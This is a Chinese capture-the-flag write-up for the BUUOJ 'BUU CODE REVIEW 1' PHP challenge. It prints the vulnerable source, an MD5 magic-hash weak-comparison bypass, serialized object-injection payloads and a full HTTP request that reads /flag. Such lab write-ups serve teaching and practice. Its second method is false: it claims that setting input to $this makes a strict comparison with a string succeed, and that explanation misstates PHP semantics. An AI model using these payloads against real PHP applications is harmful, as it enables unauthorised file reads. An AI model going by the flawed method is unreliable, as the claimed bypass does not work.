BUU CODE REVIEW 1 解题方法及思路(WP)
一、题目/源代码
链接:https://buuoj.cn/challenges
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
二、题目分析
这道题是一个 PHP 反序列化 + 弱类型比较 的漏洞利用题,目标是让 BUU 类的 __destruct() 方法执行时满足 $this->correct === $this->input,从而读取 /flag。
三、解题步骤
3.1 理解代码逻辑
触发条件:
if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }GET参数pleaseget=1POST参数pleasepost=2POST参数md51和md52的md5值弱类型相等==),但本身不相等!=)反序列化
POST参数obj的内容
关键点:
__destruct()方法会在对象销毁时自动调用。$this->correct被赋值为base64_encode(uniqid()),是一个随机值。需要让
$this->correct === $this->input成立才能读取/flag。
3.2 绕过 MD5 弱比较
- PHP 的
==是弱类型比较,可以使用0e开头的 MD5 哈希绕过:
md5("240610708") == "0e462097431906509019562988736854"
md5("QNKCDZO") == "0e830400451993494058024219903391"
- Payload:
POST /?pleaseget=1 HTTP/1.1
...
3.3 构造反序列化 Payload
要让 $this->correct === $this->input,可以使用如下方法:
方法 1(推荐):引用传递
- 让
$this->input引用$this->correct,这样correct变化时input也会同步变化。
- 让
<?php
class BUU {
public $correct = "";
public $input;
public function __construct() {
$this->input = &$this->correct; // 引用传递
}
}
echo serialize(new BUU());
输出:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
方法 2:对象自引用
- 让
$this->input指向对象自身$this),利用 PHP 对象比较的特性。
- 让
<?php
class BUU {
public $correct = "";
public $input;
public function __construct() {
$this->input = $this; // 自引用
}
}
echo serialize(new BUU());
输出:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";r:1;}
3.4 完整 HTTP 请求
POST /?pleaseget=1 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
pleasepost=2&md51=240610708&md52=QNKCDZO&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
3.5. 获取 Flag
如果成功,服务器会返回 /flag 文件的内容。如果失败,尝试调整引用方式(如改用 r:1)。
四、关键点总结
1. MD5 弱类型绕过:使用 0e 开头的哈希值。
2. 反序列化利用:通过引用传递或对象自引用使 $this->correct === $this->input 成立。
3. 触发条件:确保所有参数pleasegetpleasepostmd51md52obj)正确传递。
五、补充说明
为什么引用传递能成功?
- PHP 的引用
&)会让两个变量指向同一内存地址,修改correct时input也会同步变化,因此===成立。
- PHP 的引用
为什么对象自引用能成功?
- PHP 在比较对象时,如果两个变量指向同一个对象实例
===返回true。
- PHP 在比较对象时,如果两个变量指向同一个对象实例